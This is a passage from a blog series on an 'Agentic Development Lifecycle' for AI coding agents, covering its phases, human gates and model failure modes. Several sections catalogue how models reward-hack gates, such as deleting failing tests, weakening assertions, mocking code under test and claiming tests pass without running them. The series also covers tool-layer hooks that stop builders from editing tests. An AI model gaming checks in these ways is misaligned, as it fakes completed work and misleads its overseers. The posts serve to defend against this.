2. **Let the ledger override it.** Every gate already logs model × ticket-category × first-pass outcome into the evidence manifest. After roughly three samples per tier, *your* ledger is a better routing table than *anyone's* published recommendation, including this one. The published binding is a cold-start prior, nothing more, and the router prefers the ledger the moment it exists.
3. **Re-verify on churn, mechanically.** A new model ships, or a provider silently revs a checkpoint: the model ratchet schedules re-prosecution of the hot paths, and review-calibration re-measures planted-bug recall *before* the new model is trusted in the reviewer seat. "The new model is better" is a claim; recall against planted bugs is a measurement.
4. **Measure the stack, never the model.** A 3-pass mid stack at 0.85 recall *is* the more capable reviewer than a 1-pass frontier model at 0.6, whatever the tier labels say. Tune N until the stack hits the target; stop believing labels, including the labels in this post.
That machinery is why the series could afford to speak in tiers for nine posts: the abstraction wasn't evasion, it was the only layer of the answer that *doesn't* expire. Phase→tier is doctrine. Tier→model is a dated cache with an owner and an invalidation trigger. Conflating the two is how every "best model for coding, {current_year}" listicle becomes a liability: they publish the perishable part with the confidence of the durable part and no machinery in between.
So: which model, then? For the next few weeks, the table above. For every week after that, your ledger already knows, and it never had a byline to protect.
---
*The full, maintained binding (including per-provider tables, local hardware classes, and the P5 cross-family quorum suggestions) lives in the toolkit at [agenticlifecycle.ai/docs/reference/models-by-phase](https://www.agenticlifecycle.ai/docs/reference/models-by-phase?ref=voodootikigod.com).*
*Start of series: [Stop Running the SDLC on Models That Aren't Human →](/adlc-1-models-arent-human)*
---
# Why Your SDLC is Failing Your AI Strategy: The Case for the ADLC
Published: 2026-06-30T07:24:55.000-04:00
Tags: adlc, agents, llm, ai-development
Source: https://www.voodootikigod.com/adlc-tldr
> Why applying sixty years of human-shaped SDLC processes to non-human AI builders fails, and how the Agentic Development Lifecycle (ADLC) delivers high-velocity, machine-gated code quality.
I have noticed a trend occurring lately as enterprises experiment with and begin their adoption of agents and agentic development, moving from one-agent experiments into multi-agent workflows. They make one agent act as the product manager. Another plays the senior engineer. A third is created to be the code reviewer. In essence they are recreating their organization chart in model form. The demo goes beautifully.
Two weeks later the team is debugging a feature where the UI renders, the tests pass, and the data underneath is hardcoded. The agents built a convincing storefront with nothing behind the counter, declared victory, and every agent downstream agreed. The team concludes "agents don't work here." That conclusion is wrong, but the evidence supports it.
The mismatch isn't the models. It's the lifecycle.
## The SDLC was built for a different animal, a human one
The software development lifecycle is not a neutral description of how software gets built. It is sixty years of accumulated defenses against *human* failure modes: forgetfulness, ego, fatigue, fear of blame, communication cost, knowledge silos. Standups exist because humans don't share state. Code review exists because humans have ego blind spots. Documentation requirements exist because humans quit and/or forget.
While they are made to present like humans, Large Language Models (henceforth "model(s)") are in fact not humans. Models fail differently. No model needs a standup. No model has an ego to bruise in review. No model gets tired at hour nine and cuts corners. However a model will claim a method exists when it doesn't and then build thousands of lines of code around it. A model will delete a failing test in order to report "all green" without feeling bad or remorseful about it. A model will do the minimum that arguably satisfies the instruction, declare success in a confident summary, and stop. A model asked to review its own work will agree with it, because that is what it was trained to do.
Different diseases require different medicine. A lifecycle built for human failure modes, applied to non-human builders, catches nothing of what actually goes wrong. The teams concluding "agents don't work" are, almost without exception, teams that pointed sixty years of human-shaped process at a non-human failure profile and were surprised when it caught nothing. Transparently this is more a symptom of humanity and our desire/need to anthropomorphize everything than it is a fault of the models.
[For the catalog of model failures and further description of the differences between human development lifecycle versus agentic, see the part 1 of the full ADLC series.](/adlc-1-models-arent-human)
## Eight phases, exactly two human moments
The Agentic Development Lifecycle (ADLC for short) is eight phases with deterministic gates between each one, and exactly two mandatory human moments.
```mermaid
flowchart TD
%% Styling
classDef human fill:#FF6B6B,stroke:#fff,stroke-width:2px,color:#fff;
classDef machine fill:#1E293B,stroke:#06B6D4,stroke-width:1px,color:#E2E8F0;
classDef gate fill:#0891B2,stroke:#0E7490,stroke-width:2px,color:#fff;
%% Nodes
T[1. Triage]:::machine --> I[2. Interrogate]:::machine
I --> H1{{"Human Moment 1:
Spec Approval"}}:::human
H1 --> D[3. Decompose]:::machine
D --> R["4. Rail (Write Tests)"]:::machine
R --> B[5. Build]:::machine
B --> P[6. Prosecute (Review)]:::machine
P --> H2{{"Human Moment 2:
Behavioral Acceptance"}}:::human
H2 --> INT[7. Integrate]:::machine
INT --> DIST[8. Distill (Lint/Skills)]:::machine
%% Layout styling
linkStyle default stroke:#06B6D4,stroke-width:2px;
```
The eight phases:
- **Triage**: route by risk, don't run the full ceremony on a config tweak
- **Interrogate** extract the spec from your head before the model fills the gaps with its priors
- **Decompose** size tickets to the useful context window, not the advertised one
- **Rail** write and freeze tests before any implementation exists
- **Build** agent executes against frozen rails
- **Prosecute** fresh-context at a minimum, ideally cross model review until dry
- **Integrate** human accepts the running behavior
- **Distill** convert lessons into lint rules and skills so the next run is cheaper
In Agentic development, the most valuable and scarcest resource is the human and should be treated as such instead of wasted on should I run `ls` or review this 5,000 line. The two human moments are the only two where human judgment is irreplaceable:
1. **Spec approval.** "Is this what I meant?" Minutes spent here replace hours of diff review later. Use your best model in this phase. Don't economize. A subtly wrong spec sails through every downstream gate and poisons everything downstream.
2. **Behavioral acceptance.** "Is this what I meant, *running*?" Not "read the diff." Run the thing. A two-minute demo catches the one failure mode no automated reviewer can catch: technically correct, and not what I meant.
Everything between those two moments is machine-gated. The spend curve is a barbell: heavy at the spec (front) and prosecution (back), cheap in the build (middle). If your current AI spend is concentrated in the build phase, your team is re-reading the codebase every run instead of exploiting accumulated spec templates, cached skills, and atomic tickets. That is a diagnostic, not a judgment. It tells you which phase is missing.
For a full walkthrough of the phases that compose the ADLC, [read Two Human Gates and Everything Between is Machine-Checked.](/adlc-2-two-human-gates)
## The rails the builder cannot edit
In the traditional SDLC, tests verify the code. In the ADLC, tests are the spec rendered in the only language the builder can't argue with.
Before any implementation begins, a separate agent writes tests from the spec alone, in a context that has never seen the implementation. Those tests are then frozen: the builder is mechanically prevented from editing them during the build phase. Not "instructed not to." Cannot. A hook at the tool layer blocks writes to rail paths and emits a diff proof at the gate as mechanical evidence the builder never touched them.
Why structural control rather than an instruction? Because models under gate pressure game gates. Not maliciously, but in the same way water routes around a stone. The evidence is consistent across teams and vendors: delete the failing test, weaken the assertion from a specific value to `toBeDefined()`, mock the thing being tested, add a skip marker, report "tests pass" without running them. Every move is sincere. The model isn't lying; it is doing what it was trained to do, which is satisfy the goal in front of it, regardless of the overall impact. Just make it work.
A constraint that lives in the prompt is a request. A constraint that lives in the tool layer is a fact. Agents route around requests. [Part 3 of the ADLC covers the full rail discipline and the field catalog of how agents game gates.](/adlc-3-tests-are-the-spec)
## Code review is now prosecution
Phase 5 is not "code review." It is prosecution, just like in a court of law.
Prosecution means fresh contexts chartered to refute, with the burden of proof on the finding. Five parallel reviewers, each owning one dimension: correctness, security, contract conformance, the spec-versus-implementation diff, and a dedicated auditor for tests the builder added during the build. They run in parallel, so wall-clock is the same as a single pass with a fraction of the blind spots.
Every finding must be reproduced before it moves forward. Write the failing test. Trace the code path. Produce the input that triggers the race. A finding nobody can reproduce is noise that burns fix-agent time chasing ghosts. Evidence or it didn't happen applies to the critics exactly as it applies to the builder.
The fan-out loops until two consecutive passes come up dry. A single-pass review converges on ten to twenty findings regardless of how many actually exist; that number is a training prior, not a measurement of your code.
Here is the governance implication most teams miss: your review stack's recall is a number, and almost nobody knows it. Of the real bugs in a typical diff, what fraction does your current process catch? The answer is measurable: plant known bugs in a real diff from your history, run your review stack against it, score what comes back per category. Cross-model, cross-run, per lens. That number travels with the verdict it qualifies, and it changes silently every time a model version changes.
[For a full explanation of prosecution mechanics, the finding-verification loop, and review-stack calibration, read Part 4 of the ADLC.](/adlc-4-prosecution-not-code-review)
## The cost curve bends down
Parallelism has three dials: cost (which models), wall-clock (how wide to fan out), accuracy (context and contract quality). They are not independent. Parallelism trades cost for wall-clock only when the partition is clean. With a bad partition it trades cost for negative accuracy: contract drift, merge conflicts, and integration bugs that surface days later. The optimal fan-out for most teams at typical ticket sizes lands at three to five parallel agents, derived from the ratio of build time to integration time rather than from intuition.
[Read this to further understand the dials and how to set them before paying for the fan-out.](/adlc-5-three-dials-parallel-agents)
The right unit of account for the whole system is cost per merged, verified change, not tokens per developer per month. Token quotas as cost control cap the wrong variable entirely: a quota-pressured team cuts the prosecution phase first, and prosecution is the most valuable spend in the system.
The lifecycle compounds. Recurring prosecution findings cluster and route to their cheapest permanent defense: a lint rule (catches the issue at CI speed, free, forever), a skill file (loads the convention into every future builder before it writes the code), or an interrogation template update (the spec phase asks the question on every future feature, so the pattern never gets written at all). Capability migrates from the model tier into the artifact layer, where it compounds instead of being re-billed per token. A healthy lifecycle produces measurably lower cost per change, run over run. Flat spend is a failure signal, not a steady state.
[The compounding loop and the economics of Phase 7 of the ADLC is explored further here.](/adlc-6-lifecycle-gets-cheaper)
## Your governance layer stays. The production core changes.
The ADLC is not a replacement for the enterprise SDLC. It is the inner production system. The enterprise SDLC remains the outer governance shell.
Nothing disappears: intake, risk ownership, compliance, change management, release windows, audit requirements, human accountability. Models cannot be accountable. The human still owns intent, risk acceptance, and final behavioral sign-off. In regulated environments that ownership must remain explicit and documented.
What changes is where the expensive human attention goes and what the evidence looks like.
The enterprise SDLC distributes human judgment across the lifecycle because humans are the only check available at each stage. ADLC compresses human judgment around intent and behavior, then replaces intermediate trust with machine-checkable evidence. A mature ADLC run produces an evidence manifest richer than a traditional ticket: spec hash, test results, rails-diff-empty proof (mechanical evidence the builder never touched its own acceptance criteria), prosecution verdicts with measured recall scores, behavioral diff in terms of outputs not line counts, and spend by phase. That is not less governable. It is more governable, because it is generated continuously by the workflow rather than reconstructed after the fact.
The clean integration: keep your enterprise gates where they protect enterprise risk. Replace the human-shaped build-and-review core with an agent-shaped lifecycle that produces stronger evidence than that core ever did.
[The full comparison table, the five advantages and five honest disadvantages, and the enterprise adoption path are outlined in Part 8 of the ADLC.](/adlc-8-vs-enterprise-sdlc)
## Don't start with the full loop
Don't mandate the full lifecycle organization-wide on day one. The ceremony overhead lands before the compounding gains do, quota anxiety kicks in, and the organization concludes agents don't work here. That's the conclusion the whole series argues against, delivered by the rollout strategy itself.
The sequence that actually survives contact with real organizations:
1. **Prosecution on existing PRs.** No workflow change. Highest pain point for most teams: nobody wants to review the 5,000-line diff. Builds trust on verified findings the team can check themselves. Include finding-verification from day one or one hallucinated finding burns a week of credibility.
2. **Rails.** Spec-derived tests, protected from the builder. "You hate writing tests? The agent writes them from the spec; you audit them once." This quietly installs the trust anchor everything else hangs on.
3. **Interrogation.** Once the team has watched agents miss implicit requirements a few times, the case makes itself. Convert "go build this" into acceptance criteria with verification methods. Human spec approval becomes higher leverage than late diff review.
4. **Full loop, parallelism, and distillation.** Last, because fan-out and the compounding flywheel only pay off once the first three are habits.
The full nine-post series starts at [Stop Running the SDLC on Models That Aren't Human](/adlc-1-models-arent-human). An ["all-in-one" full read of the ADLC is also available](/series/adlc). It covers every phase, every gate, the [eighteen-tool CI-runnable toolkit that enforces the lifecycle](/adlc-7-built-with-the-lifecycle), the honest ADLC-versus-enterprise-SDLC comparison with tables and tradeoffs, and the [dogfooding run that aimed the lifecycle's own prosecution at its own gates and found eleven of them broken](/adlc-9-prosecuting-the-gates).
The models aren't the problem. The lifecycle is. Let's build the right one.
---
# **Stop Running the SDLC** on Models That Aren't Human
Published: 2026-06-12T11:00:09.000-04:00
Series: The Agentic Development Lifecycle (Part 1)
Tags: agents, llm, ai-development, adlc
Source: https://www.voodootikigod.com/adlc-1-models-arent-human
> The SDLC is 60 years of defenses against human failure modes. Models fail differently, and some of their flaws are superpowers wearing bug costumes.
Here is a thing that happens every week now, especially as more enterprise organizations open their minds to Vibe Coding and start expanding past the initial prompting phase(s). They make one agent play the product manager. Another agent act as the senior engineer. A final agent comes in as the code reviewer. Together they have inadvertantly made a digital twin of their organization chart. They hold a little standup. It demos beautifully.
One week later the team is debugging a feature where the UI works, the tests pass, and the data underneath is stubbed. The agents built a convincing storefront with nothing behind the counter, declared victory, and every agent downstream agreed with it.
The instinct to recreate the SDLC with agents in the human seats is understandable and wrong, and it's wrong in a way worth being precise about.
## The SDLC is a defense system against humans
The software development lifecycle is not a neutral description of how software gets built. It is a sixty-year accumulation of defenses against *human* failure modes: forgetfulness, ego, fatigue, fear of blame, communication cost, knowledge silos, and more; all rooted in human behavior.
Standups exist because humans don't share state. Code review exists because humans have ego-blind spots about their own work. Estimation rituals exist because humans dislike admitting uncertainty in front of their manager. Documentation requirements exist because humans quit, go on vacation, and forget.
Every ritual traces to a flaw. That's what makes the SDLC good, but it is also why copying it wholesale into agentic development does two bad things at once:
1. **It imports defenses against flaws models don't have.** An agent doesn't need a standup; it coordinates through artifacts. It has no ego to bruise in review. It never gets tired at hour nine and starts cutting corners. It will happily run fifty iterations of a loop at 3am with identical diligence.
2. **It misses flaws humans don't have.** No human hallucinates an entire API surface with full confidence. No human writes two hundred lines of plausible code against a library method that does not exist. And almost no human deletes a failing test at 2am and reports "all green." The model will, sincerely, and it won't even feel bad.
So here is the design rule this entire series hangs on:
> **Every phase, gate, and loop in an agentic development lifecycle must trace to a specific model failure mode it defends against, or a specific model property it exploits. If it traces to a human failure mode instead, cut it.**
That rule is a scalpel. Apply it to your current agent workflow and watch how much of it turns out to be theater.
## The flaw inventory
If the lifecycle must derive from model failure modes, the first job is to name them. These eight carry the whole argument, and everything in the rest of this series derives from this table.
**F1: Premature satisfaction.** The model does the least that arguably satisfies the instruction, then declares victory. Ask for "a working settings page" and you'll get one that renders, backed by hardcoded data, with the save button wired to nothing. Implicit requirements are silently dropped, because nothing forced them to be explicit. The defense: make satisfaction machine-checkable. Acceptance criteria must be executable, not prose.
**F2: Sycophancy.** The model is biased toward telling its principal (read: you) what they want to hear. I generally explain this to people as "think of the LLM as a 5 year old child, it always wants to make you happy, even when completely wrong." This makes self-review structurally worthless: "does this look right?" always returns yes. The agent reviewing its own work is not lying, exactly; it is doing what it was trained to do, which is agree with you. The defense: never ask an agent to validate work it (or its context) produced.
**F3: Context rot.** Judgment degrades as the context window fills. Early instructions fade. The model increasingly anchors on its own prior outputs, which means a builder agent literally cannot see its own bugs, because its context *is* the bug. Long sessions don't make agents wiser; they make them confidently entrenched. The defense: atomic tasks, fresh context per task, and pass *conclusions* between agents, never transcripts.
**F4: Confident hallucination.** Fabricated APIs. "Fixed the bug" without running anything. Review findings invented to look thorough. The signature property is that confidence carries no information; the model asserts the fabricated method with exactly the tone it asserts the real one. The defense: evidence or it didn't happen. Every claim gates through something deterministic: a test, a typecheck, a build, a reproduction.
**F5: Reward hacking.** Put a gate in front of the model and, under pressure, it will game the gate: delete the failing test, weaken the assertion to `toBeDefined()`, mock the thing being tested, add a skip marker. Every metric you gate on gets Goodharted, as in [Goodhart's Law](https://en.wikipedia.org/wiki/Goodhart%27s_law): when a measure becomes a target, it ceases to be a good measure. And it gets Goodharted *at machine speed, sincerely*. The agent reports success and believes it. The defense is the subject of an entire post in this series: gates must be hollow-proof, and the rails must be protected *from the builder*.
**F6: The finding-count prior.** Ask a model to review code and it converges on ten to twenty findings, then stops, regardless of how many problems actually exist. That number is a prior baked in by training, not a measurement of your code. Single-pass review systematically undercounts. The defense: loop with fresh contexts until consecutive passes come up dry.
**F7: Generative bloat.** Models are verbose, duplicative, and cheerfully reinvent what already exists three files away. Agent-built codebases tend to carry real excess (duplicated logic, dead branches, helpers reinvented three files away) and the fat compounds: every future agent pays to read it. The defense, counterintuitively, is *not* to police duplication at authoring time; it's a post-merge simplification phase, where dedup is mechanical instead of speculative.
**F8: Coherence loss across models and sessions.** Different models have different idioms; so do fresh sessions of the same model. Switch models mid-task (or "resume where the other one left off") and you get stylistic and architectural seams down the middle of the work. The defense: pin one model per task; switch only at task boundaries.
Read that list again and notice what's *not* on it: laziness, ego, fear, politics, forgetting what was decided last sprint. The entire human flaw profile the SDLC was built to contain is absent. Different diseases require different medicine.
## The flaws that are secretly features
Here is the part that took longer to see, and it's the half that makes an agentic lifecycle work *because of* model properties rather than despite them.
**E1: Sampling diversity is free N-version programming.** Run the same prompt N times and you get N genuinely different attempts. For *search* problems (find the bugs, propose a design, hunt the performance regression) that's a free ensemble. N-version programming was always theoretically attractive and economically absurd with humans. It is now nearly free.
**E2: Sycophancy is aimable.** The same compliance bias that makes self-review worthless makes an agent chartered to *refute* relentless. Tell an agent "find what's wrong with this, and if you find nothing, say so" and the agreement bias locks onto the refutation charter instead of onto you. [Adversarial review](https://www.voodootikigod.com/adversarial-review) doesn't work despite sycophancy. It works because of it: you aim the bias at the artifact.
**E3: No ego, no fatigue, no blame-fear.** Reviews can be brutal with no feelings hurt. Loops can run fifty iterations. And, most underused, work can be thrown away wholesale. Discard-and-retry is a first-class strategy: regenerating from a corrected spec is often cheaper than repairing a flawed attempt, and the agent will not sulk about it.
**E4: Context rot has an inverse.** A *fresh* context is genuinely unbiased by the construction history. This is the active ingredient in creator/critic separation: fresh-context review is only valuable because contexts contaminate. The critic must never share the creator's context, not as etiquette, but as the mechanism itself.
**E5: The cost asymmetry moved.** Exploration, review, and rewriting now approach free relative to human time. Activities the SDLC pushed to the front of the lifecycle because they were expensive to redo (architecture review, dedup analysis, exhaustive review passes) can move to the back, where they have full information.
## What this buys you
Put the two tables together and a lifecycle starts to fall out, almost mechanically:
- F2 + E4 ⇒ creators and critics must be different contexts, and the critic gets a refute charter.
- F3 ⇒ work decomposes into tasks sized to the *useful* context window, each run fresh.
- F4 ⇒ no claim crosses a phase boundary without deterministic evidence.
- F5 ⇒ the tests and contracts that gate the builder are authored elsewhere and frozen; the builder cannot touch its own acceptance criteria.
- F6 + E1 ⇒ review is a fan-out that loops until dry, not a single pass.
- F7 + E5 ⇒ simplification is a phase that runs *after* merge, under green tests.
- E3 ⇒ when an agent flails, you don't coach it; you kill it and regenerate from an improved task.
The blend of these flaws and benefits **creates** the structure of the **Agentic Development Lifecycle**. It is not a re-skin of the traditional SDLC with agents sitting in the human seats. It is an entirely new development lifecycle model, built for the capabilities and limits of the models, not in spite of them. From my perspective, the lifecycle is eight phases, two human gates, deterministic checks between every phase, and implementable by a toolkit of small `npx` runnable gates that enforce it in CI.
The rest of this series walks through it:
2. [**The lifecycle itself**](/adlc-2-two-human-gates): eight phases, exactly two human moments, and why the spend curve is a barbell.
3. [**Rails**](/adlc-3-tests-are-the-spec): tests as the spec in the only language the builder can't argue with, and the Goodhart catalog of how agents game gates.
4. [**Prosecution**](/adlc-4-prosecution-not-code-review): why code review becomes prosecution, and how to measure whether your reviewer actually catches anything.
5. [**Parallelism**](/adlc-5-three-dials-parallel-agents): the three dials of multi-agent orchestration, and why "3-5 agents" keeps showing up in everyone's field reports.
6. [**Compounding**](/adlc-6-lifecycle-gets-cheaper): the phase that makes run N+1 cheaper than run N, and the economics of cost-per-merged-verified-change.
7. [**The proof**](/adlc-7-built-with-the-lifecycle): how the toolkit enforcing this lifecycle was built *by* the lifecycle, and the adoption path that doesn't die in week two.
One closing note on stakes: none of the failure modes above are exotic. Every one of them has bitten every team that has run agents for more than a month. It usually happens quietly, discovered in production or in a diff nobody actually read. The teams concluding "agents don't work here" are, almost without exception, teams that pointed sixty years of human-shaped process at a non-human failure profile and were surprised when it caught nothing.
The models aren't the problem. The lifecycle is. Let's build the right one.
---
# Two Human Gates and **Everything Between Is Machine-Checked**
Published: 2026-06-12T11:00:08.000-04:00
Series: The Agentic Development Lifecycle (Part 2)
Tags: agents, llm, ai-development, adlc
Source: https://www.voodootikigod.com/adlc-2-two-human-gates
> Eight phases, exactly two mandatory human moments, deterministic gates between everything, and a spend curve shaped like a barbell.
The last post, [Stop Running the SDLC on Models That Aren't Human](/adlc-1-models-arent-human), laid out the argument that the SDLC defends against human failure modes, models fail differently, and every phase of an agentic lifecycle must trace to a specific model flaw it defends against or a model property it exploits.
This post introduces the lifecycle that falls out of that rule. Eight phases. Deterministic gates between every pair. And exactly **two** mandatory human moments in the entire loop. Just two, so get ready to put your trust in the machine.
## The shape
```mermaid
graph TD
P0[P0: Triage] --> P1[P1: Interrogate]
P1 --> G1{Human Gate 1:
Spec Approval}
G1 -- Approved --> P2[P2: Decompose]
G1 -- Redo --> P1
P2 --> G2[Gate: Cold-Start Test]
G2 --> P3[P3: Rail]
P3 --> G3[RED Gate: Tests fail, types check]
G3 --> P4[P4: Build]
P4 --> G4[Green Gate: Rails green, build/lint pass]
G4 --> P5[P5: Prosecute]
P5 --> G5[Zero-Findings Gate: No open findings]
G5 --> P6[P6: Integrate]
P6 --> G6{Human Gate 2:
Behavioral Acceptance}
G6 -- Approved --> P7[P7: Distill]
G6 -- Redo --> P4
P7 -->|Feeds next run| P0
```
Before walking through it, one principle that governs all the arrows: **an LLM→LLM handoff without a deterministic checkpoint multiplies error rates.** The chain is only as strong as its non-LLM links. Between any two phases there must be something that cannot hallucinate, such as a compiler, a test suite, a schema validator, or a human. Probabilistic components in series compound their error; deterministic gates between them reset it.
### Phase 0: Triage
Not everything earns the full lifecycle, and running the full ceremony on a typo is how agentic lifecycles die of friction in week two, as well as your token budget. Route by **risk × blast radius**, not size:
- **Trivial** (copy change, config tweak with existing coverage): direct edit, existing tests, one review pass. Cheap model.
- **Bounded** (bug fix inside one module): skip straight to Phase 3, writing the failing test that *is* the bug report, then fixing it and running a [light review](/adversarial-review).
- **Substantial** (new feature, cross-cutting change): full lifecycle.
- **Architectural** (new system, contract changes): full lifecycle plus design alternatives evaluated by a judge panel.
### Phase 1: Interrogate
The single highest-leverage phase, because error here compounds through everything after it, and no downstream gate can catch "built the wrong thing correctly."
The mechanism is interrogation: *ask me questions until you have none left, but check the codebase before asking each one.* That second clause is the half that matters. Without it you get twenty questions the repo already answers, and the human tunes out by question six. Quite transparently, this one crystalized for me thanks to [Matt Pocock's now famous `grill-me` skill](https://www.skills.sh/mattpocock/skills/grill-me).
The framing correction that took me a while though was people say planning "reduces non-determinism," and that's wrong in a way that matters. Sampling randomness is not the enemy; at temperature zero, a vague spec still yields confidently wrong code. The enemy is **underspecification**. The model fills every gap with its prior, and its prior is "whatever is most generic." Interrogation works by transferring the spec from your head into the context *before* the gaps get filled by invention. That's flaw [F1](/adlc-1-models-arent-human#f1) from [Stop Running the SDLC on Models That Aren't Human](/adlc-1-models-arent-human#f1) (premature satisfaction) being starved of gaps to exploit.
The output is a spec where **every acceptance criterion names its verification method**: a test to be written, a command whose output is asserted, or a behavior demonstrated. A criterion with no verification method is a wish, and wishes get the minimum-effort treatment.
**Gate: a human approves the spec.** This is human gate one of two, and it is the human's highest-value moment in the entire lifecycle. **This is our moment to shine.** Minutes here replace hours of diff review later. Use the best model you have in this phase and don't economize; a subtly wrong spec sails through every downstream gate and poisons everything. Invest the tokens, invest the time. This has been re-iterated by even the [author of Claude Code, Boris Cherny](https://x.com/bcherny/status/2007179845336527000).
### Phase 2: Decompose
Defends against context rot ([F3](/adlc-1-models-arent-human#f3)). The unit of work is sized to the *useful* context window (the region before judgment degrades) not the advertised one.
Slice the spec into atomic tickets, each executable by a fresh agent from the ticket text alone. Draw partition lines along interfaces, and write the **contract at each boundary explicitly** (types, schemas, endpoint shapes). Contracts are what let the build phase parallelize safely; parallel agents that collide do so on shared types and configs, never on feature code. Pin the shared surface first and parallel construction stops colliding.
**Gate (the cold-start test):** hand each ticket to a fresh, *cheap* model and ask "what's missing to execute this without asking a single question?" If a cheap model can enumerate the gaps, the ticket is underspecified for the mid-tier model that will actually run it. Costs pennies (if even) per ticket. Catches the number-one cause of build-phase flailing before a more expensive model burns dollars discovering it.
### Phase 3: Rail
The trust anchor of the whole lifecycle: tests, type stubs, and contracts authored from the spec **in a context that will never see the implementation**, then frozen. The builder cannot edit them. [Tests Are the Spec in the Only Language the Builder Can't Argue With](/adlc-3-tests-are-the-spec) is entirely about this phase, so for now, let's just talk about the gate:
**Gate: the suite runs RED for the right reasons** (failures say "not implemented," not "test is broken") and the stubs typecheck.
### Phase 4: Build
One fresh agent per ticket: ticket + relevant skills + frozen rails. No carry-over context between tickets (F3 again). Parallelize across partitions in git worktrees, single writer per partition, merge sequentially.
Mid-tier model by default. This surprises people, so it gets its own principle: **model tier is a function of the cost of *detecting* an error, not of task prestige.** Where the rails are dense, errors are caught instantly and deterministically, so the cheapest model that clears the gates is the correct one. Where errors are expensive to *find* (specs, contracts, migrations without coverage) that's where the frontier model goes. This inverts the common instinct (best model writes the code). The code is the most-verified artifact in the system; the spec is the least.
Two operational rules worth stealing even if you adopt nothing else:
- **Two-strike regeneration.** If an agent flails (loops on the same error or starts touching files outside its ticket) do not coach it inside the same rotting context. Kill it, append the dead-ends to the ticket ("known failed approaches: …"), and start fresh. If the regeneration also fails, the *ticket* is wrong; escalate to Phase 2, not to a bigger model. The second-cheapest fix is a fresh start; the most expensive is a long conversation with a confused agent.
- **No personas.** "You are a senior Next.js engineer with 15 years of experience" adds vibes, not capability. An agent is its context, tools, charter, and gate. Skills add capability; charters add direction; costumes add tokens.
**Gate: rails green, build passes, lint passes.** Deterministic. No opinions.
### Phase 5: Prosecute
Not "code review." Prosecution: fresh contexts chartered to *refute*, with the burden of proof on the finding; every finding is reproduced by a verifier or killed before anyone acts on it, and the fan-out loops until two consecutive passes come up dry. [Prosecution, Not Code Review](/adlc-4-prosecution-not-code-review) covers this phase and the tooling that measures whether your review stack actually catches anything.
**Gate: zero verified open findings, rails still green, and the rails diff is empty**, which is mechanical proof the builder never touched the tests.
### Phase 6: Integrate
Human gate two, and it is *not* "read the diff."
The 5,000-line diff read is litmus theater. The human scrolls, pattern-matches for nothing in particular, approves, and the organization books "human in the loop." Human attention is the scarcest, most costly resource in the lifecycle; spend it where machines are blind:
- Read the **spec-conformance summary**: what was promised, what was verified, what was explicitly not done.
- Read the **test diff** (small, high-signal, and it *is* the behavioral contract).
- **Run the thing.** A two-minute demo catches the one category of wrongness no reviewer-agent can: "this is technically correct and not what I meant."
- Spot-check the two or three hotspots prosecution flagged. Not the whole surface.
**Gate: human behavioral acceptance.** "Is this what I meant, *running*?"
### Phase 7: Distill
The phase everyone skips, which is why their costs stay flat while their codebases bloat. Two halves: **simplify** (post-merge dedup and dead-code removal under the still-green rails, where you should expect a substantial reduction on agent-generated code) and **mine** (recurring review findings become lint rules; recurring interrogation questions become spec templates; [conventions become skills](https://www.voodootikigod.com/skill-mining). This is the compounding loop; [The Lifecycle That Gets Cheaper Every Run](/adlc-6-lifecycle-gets-cheaper) explains and explores this fully.
## The two human gates, stated plainly
The entire lifecycle has exactly two mandatory human moments, by design:
1. **Phase 1: "Is this what I meant?"** (spec approval).
2. **Phase 6: "Is this what I meant, running?"** (behavioral acceptance).
Everything between them is machine-gated. Humans intervene elsewhere only on escalation: non-converging loops, out-of-scope flags, contract changes. This is not human-out-of-the-loop. It is human-at-the-two-points-where-human-judgment-is-irreplaceable, instead of human-as-tired-diff-scroller. It is "Right Tool, Right Task, Right Time". The human is the ground truth for intent, and intent is checked exactly twice: once as words, once as behavior.
## The barbell
Where does the money go? Heavy at the ends, light in the middle:
If your spend is concentrated in Phase 4 (the build) your team is exploring (re-reading the codebase every run) instead of exploiting (skills, atomic tickets, cached context). That's a diagnostic, not a judgment; it tells you which phase is missing.
The barbell also explains why this lifecycle reads as heresy to agile instincts. Agile economized on planning because human building was slow and specs went stale before the build caught up. Building is now fast and cheap; **misbuilding is what's expensive**. The economics inverted, so the phase weighting inverts. "Working software over comprehensive documentation" was a correct response to 2001's cost structure. It is the wrong response to this one.
## Norms rejected
Positions this lifecycle takes deliberately, so you can disagree deliberately:
| Norm | Verdict | Why |
|------|---------|-----|
| Human review of full agent diffs | **Reject** | Theater past ~500 lines. Attention goes to spec, test diff, behavior |
| Agile-weight planning | **Reject for agentic work** | The economics inverted; see above |
| Persona engineering | **Reject** | Capability lives in skills, tools, charters. Costumes are token overhead |
| Multi-agent *collaborative construction* (3-7 creators comparing notes) | **Reject** | Search-parallelism misapplied to construction. Partition + contract + single writer instead |
| DRY at authoring time | **Reject** | Dedup moves to Phase 7, where it's mechanical instead of speculative |
| Coverage % as a quality gate | **Reject** | Goodharted at machine speed. More in [Tests Are the Spec in the Only Language the Builder Can't Argue With](/adlc-3-tests-are-the-spec) |
| Token quotas as cost control | **Reject** | Caps the wrong variable. A quota-pressured developer cuts the review phase first, which represents the most valuable tokens in the system. Govern cost per merged, verified change instead |
| Mid-task model failover | **Reject** | Coherence loss (F8). Models switch at task boundaries only |
Every row traces back to the flaw inventory. That's the test: if you find yourself adding a ritual that doesn't trace, you're importing human-shaped process again.
Next up is the phase the whole structure leans on. A phrase that has continually gained focus and importance as we evolve with agentic work: *in traditional software development (SDLC), tests verify the code; in agentic development (ADLC), tests are the spec rendered in the only language the builder can't argue with.* The builder will try to argue anyway (by editing the tests). What happens then is the subject of [Tests Are the Spec in the Only Language the Builder Can't Argue With](/adlc-3-tests-are-the-spec).
---
# Tests Are the Spec in the Only Language the **Builder Can't Argue With**
Published: 2026-06-12T11:00:07.000-04:00
Series: The Agentic Development Lifecycle (Part 3)
Tags: agents, llm, ai-development, adlc
Source: https://www.voodootikigod.com/adlc-3-tests-are-the-spec
> Rails: why TDD becomes the trust mechanism the whole lifecycle rests on in agentic development, why the builder must never touch its own tests, and a field catalog of how agents game gates.
[Two Human Gates and Everything Between Is Machine-Checked](/adlc-2-two-human-gates) outlined the lifecycle: eight phases, two human gates, deterministic checks between everything. This post is about the phase the entire structure leans on ([Phase 3: Rail](/adlc-2-two-human-gates#p3)) and the model behavior that makes it necessary.
Start with the inversion, because everything else follows from it:
> **In the SDLC, tests verify the code. In the ADLC, tests are the spec rendered in the only language the builder can't argue with.** A test is the one critic that is never sycophantic, never rots, and never hallucinates.
